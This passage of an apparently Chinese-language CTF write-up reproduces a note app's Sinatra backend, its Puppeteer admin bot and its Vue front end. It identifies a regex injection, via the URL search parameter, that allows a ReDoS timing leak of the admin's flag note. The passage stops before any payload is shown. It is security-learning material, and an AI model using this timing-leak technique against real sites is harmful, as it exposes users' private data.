class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">require</span> <span class="string">'rack/contrib'</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'sinatra/base'</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'sinatra/json'</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'sqlite3'</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">App</span> < Sinatra::Base</span></span><br><span class="line"> DB = SQLite3::Database.new <span class="string">'data/db.sqlite3'</span></span><br><span class="line"> DB.execute <<-SQL</span><br><span class="line"> CREATE TABLE IF NOT EXISTS notes (</span><br><span class="line"> id INTEGER PRIMARY KEY AUTOINCREMENT,</span><br><span class="line"> user_id TEXT,</span><br><span class="line"> content TEXT</span><br><span class="line"> );</span><br><span class="line"> </span><br><span class="line"> CREATE TABLE IF NOT EXISTS tokens (</span><br><span class="line"> id TEXT PRIMARY KEY,</span><br><span class="line"> remain INTEGER</span><br><span class="line"> );</span><br><span class="line"> SQL</span><br><span class="line"></span><br><span class="line"> DB.execute <<-SQL</span><br><span class="line"> INSERT OR REPLACE INTO notes (id, user_id, content)</span><br><span class="line"> VALUES (<span class="number">0</span>, <span class="string">'<span class="subst">#{ENV[<span class="string">'FLAG_USER_ID'</span>]}</span>'</span>, <span class="string">'<span class="subst">#{ENV[<span class="string">'FLAG_CONTENT'</span>]}</span>'</span>);</span><br><span class="line"> SQL</span><br><span class="line"></span><br><span class="line"> use Rack::JSONBodyParser</span><br><span class="line"> use Rack::Session::Cookie, <span class="symbol">secret:</span> ENV[<span class="string">'SECRET'</span>], <span class="symbol">old_secret:</span> ENV[<span class="string">'OLD_SECRET'</span>]</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">err</span><span class="params">(code, message)</span></span></span><br><span class="line"> [code, json({<span class="symbol">message:</span> message})]</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> post <span class="string">'/api/register'</span> <span class="keyword">do</span></span><br><span class="line"> session[<span class="symbol">:user</span>] = SecureRandom.hex(<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line"> json({})</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> post <span class="string">'/api/logout'</span> <span class="keyword">do</span></span><br><span class="line"> session[<span class="symbol">:user</span>] = <span class="literal">nil</span></span><br><span class="line"></span><br><span class="line"> json({})</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> get <span class="string">'/api/note'</span> <span class="keyword">do</span></span><br><span class="line"> <span class="keyword">return</span> err(<span class="number">401</span>, <span class="string">'login first'</span>) <span class="keyword">unless</span> user = session[<span class="symbol">:user</span>]</span><br><span class="line"></span><br><span class="line"> sleep <span class="number">0</span>.<span class="number">5</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">begin</span></span><br><span class="line"> res = DB.query <span class="string">'SELECT id, content FROM notes WHERE user_id = ? ORDER BY id'</span>, user</span><br><span class="line"> notes = []</span><br><span class="line"> res.each <span class="keyword">do</span> <span class="params">|row|</span></span><br><span class="line"> notes << {<span class="symbol">id:</span> row[<span class="number">0</span>], <span class="symbol">content:</span> row[<span class="number">1</span>]}</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"> res.close</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> json(notes)</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> post <span class="string">'/api/note'</span> <span class="keyword">do</span></span><br><span class="line"> <span class="keyword">return</span> err(<span class="number">401</span>, <span class="string">'register first'</span>) <span class="keyword">unless</span> user = session[<span class="symbol">:user</span>]</span><br><span class="line"> <span class="keyword">return</span> err(<span class="number">403</span>, <span class="string">'no note :rolling_on_the_floor_laughing:'</span>) <span class="keyword">unless</span> note = params[<span class="symbol">:note</span>] <span class="keyword">and</span> String === note <span class="keyword">and</span> note.bytesize > <span class="number">0</span></span><br><span class="line"> <span class="keyword">return</span> err(<span class="number">403</span>, <span class="string">'too large note'</span>) <span class="keyword">unless</span> note.bytesize < <span class="number">500</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">begin</span></span><br><span class="line"> res = DB.query <span class="string">'SELECT COUNT(1) FROM notes WHERE user_id = ?'</span>, user</span><br><span class="line"> row = res.<span class="keyword">next</span></span><br><span class="line"> count = row && row[<span class="number">0</span>]</span><br><span class="line"> res.close</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> err(<span class="number">403</span>, <span class="string">'too many notes'</span>) <span class="keyword">unless</span> count < <span class="number">50</span></span><br><span class="line"></span><br><span class="line"> DB.execute <span class="string">'INSERT INTO notes (user_id, content) VALUES (?, ?)'</span>, user, note</span><br><span class="line"></span><br><span class="line"> json({})</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> delete <span class="string">'/api/note/:id'</span> <span class="keyword">do</span></span><br><span class="line"> <span class="keyword">return</span> err(<span class="number">401</span>, <span class="string">'login first'</span>) <span class="keyword">unless</span> user = session[<span class="symbol">:user</span>]</span><br><span class="line"> puts params[<span class="symbol">:id</span>]</span><br><span class="line"> <span class="keyword">return</span> err(<span class="number">404</span>, <span class="string">'no note'</span>) <span class="keyword">unless</span> id = params[<span class="symbol">:id</span>] <span class="keyword">and</span> (String === id <span class="keyword">or</span> Integer === id) <span class="keyword">and</span> id = id.to_i</span><br><span class="line"></span><br><span class="line"> DB.execute <span class="string">'DELETE FROM notes WHERE id = ? AND user_id = ?'</span>, id, user</span><br><span class="line"></span><br><span class="line"> <span class="number">200</span></span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure><ul><li>worker.js</li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> puppeteer = <span class="built_in">require</span>(<span class="string">'puppeteer'</span>);</span><br><span class="line"><span class="keyword">const</span> Redis = <span class="built_in">require</span>(<span class="string">'ioredis'</span>);</span><br><span class="line"><span class="keyword">const</span> connection = <span class="keyword">new</span> Redis(<span class="number">6379</span>, <span class="string">'redis'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> browser_option = {</span><br><span class="line"> product: <span class="string">'firefox'</span>,</span><br><span class="line"> headless: <span class="literal">true</span>,</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> crawl = <span class="keyword">async</span> (url) => {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">`[*] started: <span class="subst">${url}</span>`</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> browser = <span class="keyword">await</span> puppeteer.launch(browser_option);</span><br><span class="line"> <span class="keyword">const</span> page = <span class="keyword">await</span> browser.newPage();</span><br><span class="line"> <span class="keyword">await</span> page.setCookie({</span><br><span class="line"> name: <span class="string">'rack.session'</span>,</span><br><span class="line"> value: process.env.COOKIE_VALUE,</span><br><span class="line"> domain: process.env.DOMAIN,</span><br><span class="line"> expires: <span class="built_in">Date</span>.now() / <span class="number">1000</span> + <span class="number">10</span>,</span><br><span class="line"> });</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">const</span> resp = <span class="keyword">await</span> page.goto(url, {</span><br><span class="line"> waitUntil: <span class="string">'load'</span>,</span><br><span class="line"> timeout: <span class="number">3000</span>,</span><br><span class="line"> });</span><br><span class="line"> } <span class="keyword">catch</span> (err){</span><br><span class="line"> <span class="built_in">console</span>.log(err);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">await</span> page.close();</span><br><span class="line"> <span class="keyword">await</span> browser.close();</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">`[*] finished: <span class="subst">${url}</span>`</span>)</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">// handle the whole</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">"[*] waiting new query ..."</span>)</span><br><span class="line"> connection.blpop(<span class="string">"query"</span>, <span class="number">0</span>, <span class="keyword">async</span> <span class="function"><span class="keyword">function</span>(<span class="params">err, message</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> url = message[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">await</span> crawl(url);</span><br><span class="line"> <span class="keyword">await</span> connection.incr(<span class="string">"proceeded_count"</span>);</span><br><span class="line"> setTimeout(handle, <span class="number">10</span>);</span><br><span class="line"> });</span><br><span class="line">}</span><br><span class="line">handle();</span><br></pre></td></tr></table></figure><ul><li>app.rb中flag被放到了管理员的note中</li><li>给了一个worker.js</li><li>前端有一个Report URL</li></ul><p>根据这三点可以猜到是一个xss的题,看下前端的代码,发现是用vue.js写的</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!doctype <span class="meta-keyword">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">meta</span> <span class="attr">name</span>=<span class="string">"viewport"</span> <span class="attr">content</span>=<span class="string">"width=device-width, initial-scale=1"</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"icon"</span> <span class="attr">href</span>=<span class="string">"data:,"</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> <span class="attr">href</span>=<span class="string">"https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> <span class="attr">href</span>=<span class="string">"https://cdnjs.cloudflare.com/ajax/libs/bulma/0.9.0/css/bulma.min.css"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">script</span> <span class="attr">defer</span> <span class="attr">src</span>=<span class="string">"https://use.fontawesome.com/releases/v5.3.1/js/all.js"</span> <span class="attr">crossorigin</span>=<span class="string">"anonymous"</span>></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">script</span> <span class="attr">src</span>=<span class="string">"https://cdn.jsdelivr.net/npm/vue"</span> <span class="attr">crossorigin</span>=<span class="string">"anonymous"</span>></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> <span class="attr">href</span>=<span class="string">"/app.css"</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">style</span>></span><span class="css"><span class="selector-attr">[v-cloak]</span>>*{<span class="attribute">display</span>: none} <span class="selector-attr">[v-cloak]</span><span class="selector-pseudo">::before</span>{<span class="attribute">content</span>:<span class="string">"loading..."</span>}</span><span class="tag"></<span class="name">style</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">head</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">body</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"app"</span> <span class="attr">v-cloak</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"container"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">v-if</span>=<span class="string">"headerImg"</span> <span class="attr">class</span>=<span class="string">"hero"</span>></span> <span class="tag"><<span class="name">img</span> <span class="attr">:src</span>=<span class="string">"headerImg"</span> /></span> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">section</span> <span class="attr">class</span>=<span class="string">"section"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">v-if</span>=<span class="string">"loggedin"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"buttons is-right"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">button</span> <span class="attr">v-on:click</span>=<span class="string">"logout"</span> <span class="attr">class</span>=<span class="string">"button"</span>></span>Exit Note Space<span class="tag"></<span class="name">button</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">a</span> <span class="attr">href</span>=<span class="string">"/report.html"</span> <span class="attr">class</span>=<span class="string">"button"</span>></span>Report URL<span class="tag"></<span class="name">a</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"control"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"control has-icons-right"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">v-model</span>=<span class="string">"search"</span> <span class="attr">placeholder</span>=<span class="string">"Search..."</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">class</span>=<span class="string">"input is-rounded"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">span</span> <span class="attr">class</span>=<span class="string">"icon is-small is-right"</span>></span><span class="tag"><<span class="name">i</span> <span class="attr">class</span>=<span class="string">"fas fa-search"</span>></span><span class="tag"></<span class="name">i</span>></span><span class="tag"></<span class="name">span</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">section</span> <span class="attr">class</span>=<span class="string">"section"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"is-centered"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"control note is-centered"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">textarea</span> <span class="attr">v-model</span>=<span class="string">"editingNote"</span> <span class="attr">placeholder</span>=<span class="string">"note..."</span> <span class="attr">class</span>=<span class="string">"textarea note-color box"</span>></span><span class="tag"></<span class="name">textarea</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">button</span> <span class="attr">v-on:click</span>=<span class="string">"postNote"</span> <span class="attr">class</span>=<span class="string">"button is-fullwidth"</span>></span>Post<span class="tag"></<span class="name">button</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">section</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">style</span>=<span class="string">"display: flex; flex-wrap: wrap;"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">v-for</span>=<span class="string">"note in visibleNotes"</span> <span class="attr">class</span>=<span class="string">"note note-color box"</span> <span class="attr">style</span>=<span class="string">"flex: 1"</span>></span></span><br><span class="line"> {{ note.content }}</span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"x-icon"</span> <span class="attr">:noteid</span>=<span class="string">"note.id"</span> <span class="attr">v-on:click</span>=<span class="string">"deleteNote"</span>></span><span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">v-else</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">button</span> <span class="attr">v-on:click</span>=<span class="string">"register"</span> <span class="attr">class</span>=<span class="string">"button"</span>></span>New Note Space<span class="tag"></<span class="name">button</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">section</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">script</span> <span class="attr">src</span>=<span class="string">"/app.js"</span>></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">api</span>(<span class="params">path, body, method = <span class="string">'POST'</span></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> fetch(path, {</span><br><span class="line"> method,</span><br><span class="line"> credentials: <span class="string">'include'</span>,</span><br><span class="line"> ...(method == <span class="string">'POST'</span> ? {</span><br><span class="line"> headers: {</span><br><span class="line"> <span class="string">'Content-Type'</span>: <span class="string">'application/json'</span>,</span><br><span class="line"> },</span><br><span class="line"> body: <span class="built_in">JSON</span>.stringify(body),</span><br><span class="line"> } : {}),</span><br><span class="line"> }).then(<span class="function"><span class="params">res</span> =></span> {</span><br><span class="line"> <span class="keyword">if</span>(!res.ok) {</span><br><span class="line"> <span class="keyword">return</span> res.json().catch(<span class="function"><span class="params">_</span> =></span> {</span><br><span class="line"> <span class="keyword">throw</span> {<span class="attr">message</span>: <span class="string">'something went wrong'</span>};</span><br><span class="line"> }).then(<span class="function">(<span class="params">{message}</span>) =></span> {</span><br><span class="line"> <span class="keyword">throw</span> {<span class="attr">message</span>: message || <span class="string">'something went wrong'</span>};</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> res;</span><br><span class="line"> });</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> app = <span class="keyword">new</span> Vue({</span><br><span class="line"> el: <span class="string">'#app'</span>,</span><br><span class="line"> data: {</span><br><span class="line"> tab: <span class="string">'transfer'</span>,</span><br><span class="line"> headerImg: <span class="built_in">document</span>.location.hash.substring(<span class="number">1</span>) || <span class="string">''</span>,</span><br><span class="line"> search: <span class="built_in">document</span>.location.search.substring(<span class="number">1</span>) || <span class="string">''</span>,</span><br><span class="line"> editingNote: <span class="string">''</span>,</span><br><span class="line"> allNotes: [],</span><br><span class="line"> visibleNotes: [],</span><br><span class="line"> loggedin: <span class="literal">false</span>,</span><br><span class="line"> },</span><br><span class="line"> watch: {</span><br><span class="line"> search() {</span><br><span class="line"> <span class="keyword">this</span>.updateVisibleNotes();</span><br><span class="line"> },</span><br><span class="line"> allNotes() {</span><br><span class="line"> <span class="keyword">this</span>.updateVisibleNotes();</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="keyword">this</span>.allNotes.length);</span><br><span class="line"> },</span><br><span class="line"> },</span><br><span class="line"> mounted() {</span><br><span class="line"> <span class="keyword">this</span>.updateNotes();</span><br><span class="line"> },</span><br><span class="line"> methods: {</span><br><span class="line"> <span class="keyword">async</span> updateNotes() {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">const</span> notes = <span class="keyword">await</span> (<span class="keyword">await</span> api(<span class="string">'/api/note'</span>, <span class="string">''</span>, <span class="string">'GET'</span>)).json();</span><br><span class="line"> <span class="keyword">this</span>.loggedin = <span class="literal">true</span>;</span><br><span class="line"> <span class="built_in">console</span>.log(notes);</span><br><span class="line"> <span class="keyword">this</span>.allNotes = notes;</span><br><span class="line"> } <span class="keyword">catch</span> {</span><br><span class="line"> <span class="keyword">this</span>.loggedin = <span class="literal">false</span></span><br><span class="line"> <span class="keyword">this</span>.allNotes = [];</span><br><span class="line"> };</span><br><span class="line"> },</span><br><span class="line"> <span class="keyword">async</span> updateVisibleNotes() {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">const</span> re = <span class="keyword">new</span> <span class="built_in">RegExp</span>(<span class="keyword">this</span>.search);</span><br><span class="line"> <span class="keyword">this</span>.visibleNotes = <span class="keyword">this</span>.allNotes.filter(<span class="function">(<span class="params">{content}</span>) =></span> content.match(re));</span><br><span class="line"> } <span class="keyword">catch</span> {</span><br><span class="line"> <span class="comment">// pass</span></span><br><span class="line"> }</span><br><span class="line"> },</span><br><span class="line"> <span class="keyword">async</span> register() {</span><br><span class="line"> <span class="keyword">await</span> api(<span class="string">'/api/register'</span>, {});</span><br><span class="line"> <span class="keyword">await</span> <span class="keyword">this</span>.updateNotes();</span><br><span class="line"> },</span><br><span class="line"> <span class="keyword">async</span> logout() {</span><br><span class="line"> <span class="keyword">await</span> api(<span class="string">'/api/logout'</span>, {})</span><br><span class="line"> <span class="keyword">this</span>.updateNotes();</span><br><span class="line"> },</span><br><span class="line"> <span class="keyword">async</span> postNote() {</span><br><span class="line"> <span class="keyword">await</span> api(<span class="string">'/api/note'</span>, {<span class="attr">note</span>: <span class="keyword">this</span>.editingNote});</span><br><span class="line"> <span class="keyword">this</span>.editingNote = <span class="string">''</span>;</span><br><span class="line"> <span class="keyword">const</span> notes = <span class="keyword">await</span> (<span class="keyword">await</span> api(<span class="string">'/api/note'</span>, <span class="string">''</span>, <span class="string">'GET'</span>)).json();</span><br><span class="line"> <span class="keyword">this</span>.allNotes = notes;</span><br><span class="line"> },</span><br><span class="line"> <span class="keyword">async</span> deleteNote(ev) {</span><br><span class="line"> <span class="keyword">const</span> e = ev.target;</span><br><span class="line"> <span class="keyword">const</span> noteid = e.getAttribute(<span class="string">'noteid'</span>);</span><br><span class="line"> <span class="keyword">await</span> api(<span class="string">`/api/note/<span class="subst">${noteid}</span>`</span>, {}, <span class="string">'DELETE'</span>);</span><br><span class="line"> <span class="keyword">const</span> notes = <span class="keyword">await</span> (<span class="keyword">await</span> api(<span class="string">'/api/note'</span>, <span class="string">''</span>, <span class="string">'GET'</span>)).json();</span><br><span class="line"> <span class="keyword">this</span>.allNotes = notes;</span><br><span class="line"> },</span><br><span class="line"> }</span><br><span class="line">});</span><br></pre></td></tr></table></figure><h3 id="正则注入"><a href="#正则注入" class="headerlink" title="正则注入"></a>正则注入</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> updateVisibleNotes() {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">const</span> re = <span class="keyword">new</span> <span class="built_in">RegExp</span>(<span class="keyword">this</span>.search);</span><br><span class="line"> <span class="keyword">this</span>.visibleNotes = <span class="keyword">this</span>.allNotes.filter(<span class="function">(<span class="params">{content}</span>) =></span> content.match(re));</span><br><span class="line"> } <span class="keyword">catch</span> {</span><br><span class="line"> <span class="comment">// pass</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看到这里存在一个正则注入,注入的正则用于匹配note的内容,并且<code>this.search</code>可以由url控制</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">search: <span class="built_in">document</span>.location.search.substring(<span class="number">1</span>) || <span class="string">''</span>,</span><br></pre></td></tr></table></figure><p>javascript的正则并不像php那样有回溯次数的限制,因此正则注入能够造成ReDos</p><p>通过注入特殊的正则,可以根据延时的不同判断note的内容,详细可以参考<a 